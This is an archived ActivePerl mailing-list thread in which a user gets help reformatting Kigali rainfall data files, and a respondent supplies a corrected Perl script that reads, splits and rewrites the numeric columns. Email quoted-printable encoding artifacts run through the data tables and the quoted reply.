10=A02.4=A00.5=A02.5=A00=A00=A00.3=A00=A00=A016.5=A00=A04.3= A05.5=A00=A00=
=A00=A00=A00=A00.3=A011=A05.3=A00=A00=A01.5=A00=A00=A03.6=A0 0.8=A01.9=A00.2=
=A00=A00

=A01971 =

11=A01.3=A013.2=A00=A00=A00=A00=A00.3=A00=A04.6=A00=A00=A00. 9=A011.5=A05.4=
=A00=A025.5=A00=A029.7=A00.5=A00=A01=A01.8=A00=A03.6=A02.2=A 00.6=A014.6=A08=
..6=A00=A00=A0

=A01971 =

12=A06.3=A05.3=A01=A00=A00=A00=A00=A00=A00=A01.8=A00=A00=A00 =A00=A00=A06.7=
=A04.5=A00=A00=A00=A00=A00=A00=A04.2=A021.9=A00=A00=A028.3=A 00=A010.3=A02.5


The output
KIGALI AERO                  =A 0  =
          =A0
Rainfall (mm)                  =A 0=A0=
            
LAT:01=F8 58                  =A0= A0=A0=
          =A0
LON:030=F8 08                  =A0= A0=
            
"Alt:1,490.0"              =A0=A 0    =
            
=A0Date=A01=A02=A03=A04=A05=A06=A07=A08=A09=A010=A011=A012=A 013=A014=A015=
=A016=A017=A018=A019=A020=A021=A022=A023=A024=A025=A026=A027 =A028=A029=A030=
=A031

$rain[0], $rain[1]
$rain[0], =

$rain[1]11.8=A00.4=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.1 =A00.0=A02.9=A0=
0.0=A09.4=A00.3=A00.2=A00.0=A00.0=A00.0=A00.0=A01.7=A00.0=A0 0.0=A00.0=A00.0=
=A00.0=A00.0=A00.0=A00.5=A00.0=A00.0=A08.1=A0

$rain[0], =

$rain[1]4.3=A02.2=A00.6=A05.9=A03.0=A03.3=A00.0=A010.7=A00.0 =A00.0=A00.0=A0=
0.0=A00.0=A00.0=A00.0=A015.3=A00.0=A00.0=A00.0=A01.7=A00.0=A 08.8=A00.0=A03.=
2=A00.0=A00.0=A00.0=A07.3=A0

$rain[0], =

$rain[1]0.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0= A01.1=A00.0=A00=
..0=A03.0=A00.0=A02.9=A00.5=A05.7=A00.0=A06.6=A00.0=A00.1=A0 0.0=A00.0=A00.0=
=A00.9=A010.5=A02.4=A025.1=A011.0=A013.0=A02.1=A0

$rain[0], =

$rain[1]1.6=A018.4=A00.0=A00.7=A08.8=A00.8=A01.3=A00.0=A02.7 =A07.0=A00.1=A0=
20.0=A025.3=A00.6=A02.7=A04.0=A00.0=A04.8=A00.1=A03.6=A010.2 =A012.9=A01.8=
=A00.0=A036.2=A00.1=A00.0=A00.1=A01.6=A00.0=A0

$rain[0], =

$rain[1]0.0=A010.9=A02.1=A00.0=A02.3=A08.1=A00.3=A04.4=A01.4 =A00.0=A00.0=A0=
4.3=A00.0=A021.9=A05.6=A00.9=A04.0=A00.0=A017.4=A00.0=A029.3 =A011.3=A00.6=
=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A04.2=A0

$rain[0], =

$rain[1]0.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0= A00.0=A00.0=A00=
..0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A0 0.0=A00.0=A00.0=
=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A0

$rain[0], =

$rain[1]0.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0= A00.0=A00.0=A00=
..0=A00.0=A00.0=A011.0=A01.0=A00.3=A00.1=A02.5=A01.0=A00.3=A 00.0=A00.0=A00.0=
=A00.0=A01.4=A00.3=A00.0=A00.0=A00.0=A00.0=A0

$rain[0], =

$rain[1]0.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0= A00.0=A00.0=A00=
..0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A00.0=A01.9=A00.0=A0 1.0=A00.0=A05.3=
=A00.0=A045.1=A00.0=A00.0=A00.0=A00.0=A02.8=A0

$rain[0], =

$rain[1]0.0=A00.0=A00.0=A017.0=A00.0=A03.5=A01.9=A00.0=A00.0 =A00.0=A00.0=A0=
31.6=A01.9=A00.9=A00.1=A02.3=A00.0=A00.5=A00.0=A00.0=A00.0=A 00.0=A00.0=A00.=
0=A00.0=A04.8=A013.7=A00.0=A00.7=A00.5=A0

$rain[0], =

$rain[1]2.4=A00.5=A02.5=A00.0=A00.0=A00.3=A00.0=A00.0=A016.5 =A00.0=A04.3=A0=
5.5=A00.0=A00.0=A00.0=A00.0=A00.0=A00.3=A011.0=A05.3=A00.0=A 00.0=A01.5=A00.=
0=A00.0=A03.6=A00.8=A01.9=A00.2=A00.0=A00.0=A0

$rain[0], =

$rain[1]1.3=A013.2=A00.0=A00.0=A00.0=A00.0=A00.3=A00.0=A04.6 =A00.0=A00.0=A0=
0.9=A011.5=A05.4=A00.0=A025.5=A00.0=A029.7=A00.5=A00.0=A01.0 =A01.8=A00.0=A0=
3.6=A02.2=A00.6=A014.6=A08.6=A00.0=A00.0=A0


________________________________



=

_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

RE: Reading a line as an array

am 22.09.2010 11:57:40 von Brian Raven

zilore mumba <> wrote:
> Excuse me for the missing attachments. As I composed the mail in
> gmail which is not recognised on the mailing list. The attachments
> are now included.

The main problem with your code, in addition to Jusin's point about file
handle naming, is with the line:

my @rain = ;

which reads the rest of the file into the array @rain, which is clearly
not what you intend.

The following seems to do what you are asking about.

-------------------------------------------------
use strict;
use warnings;

# You might want to initialise the file names from the command line.
my $in_fn = "sample.txt";
my $out_fn = "sample_tr.txt";

# The preferred open is the 3 arg method with a localised file handle.
open my $infd, "<", $in_fn or die "open $in_fn failed: $!\n";
open my $outfd, ">", $out_fn or die "open $out_fn failed: $!\n";

# Copy first 7 lines unchanged.
print $outfd scalar(<$infd>) for 1..7;

# Reformat the numbers on each remaining line.
while (<$infd>) {
my ($year, $month, @rain) = split;
$_ = sprintf "%.02f", $_ foreach @rain;
print $outfd "\t$year $month\t", join("\t", @rain), "\n";
}

# Close files. Don't forget that closing an output file can fail.
close $infd;
close $outfd or die "close $out_fn failed: $!\n";
-------------------------------------------------------

HTH

--
Brian Raven

Please consider the environment before printing this e-mail.

This e-mail may contain confidential and/or privileged information. If you are not the intended recipient or have received this e-mail in error, please advise the sender immediately by reply e-mail and delete this message and any attachments without retaining a copy.

Any unauthorised copying, disclosure or distribution of the material in this e-mail is strictly forbidden.
_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs

Re: Reading a line as an array

am 22.09.2010 14:47:52 von zilore mumba

Brian,
Thanks, the code you sent does exactly what I want.
Thanks for your time and thanks to all those who looked at my code.
Zilore



----- Original Message ----
From: Brian Raven
To: activeperl@listserv.activestate.com
Sent: Wed, September 22, 2010 10:57:40 AM
Subject: RE: Reading a line as an array

zilore mumba <> wrote:
> Excuse me for the missing attachments. As I composed the mail in
> gmail which is not recognised on the mailing list. The attachments
> are now included.=A0 =


The main problem with your code, in addition to Jusin's point about file
handle naming, is with the line:

=A0 =A0 my @rain =3D ; =


which reads the rest of the file into the array @rain, which is clearly
not what you intend.

The following seems to do what you are asking about.

-------------------------------------------------
use strict;
use warnings;

# You might want to initialise the file names from the command line.
my $in_fn =3D "sample.txt";
my $out_fn =3D "sample_tr.txt";

# The preferred open is the 3 arg method with a localised file handle.
open my $infd, "<", $in_fn or die "open $in_fn failed: $!\n";
open my $outfd, ">", $out_fn or die "open $out_fn failed: $!\n";

# Copy first 7 lines unchanged.
print $outfd scalar(<$infd>) for 1..7;

# Reformat the numbers on each remaining line.
while (<$infd>) {
=A0 =A0 my ($year, $month, @rain) =3D split;
=A0 =A0 $_ =3D sprintf "%.02f", $_ foreach @rain;
=A0 =A0 print $outfd "\t$year $month\t", join("\t", @rain), "\n";
}

# Close files. Don't forget that closing an output file can fail.
close $infd;
close $outfd or die "close $out_fn failed: $!\n";
-------------------------------------------------------

HTH

-- =

Brian Raven =


Please consider the environment before printing this e-mail.

This e-mail may contain confidential and/or privileged information. If you =
are =

not the intended recipient or have received this e-mail in error, please ad=
vise =

the sender immediately by reply e-mail and delete this message and any =

attachments without retaining a copy.

Any unauthorised copying, disclosure or distribution of the material in thi=
s =

e-mail is strictly forbidden.
_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs



=

_______________________________________________
ActivePerl mailing list
ActivePerl@listserv.ActiveState.com
To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs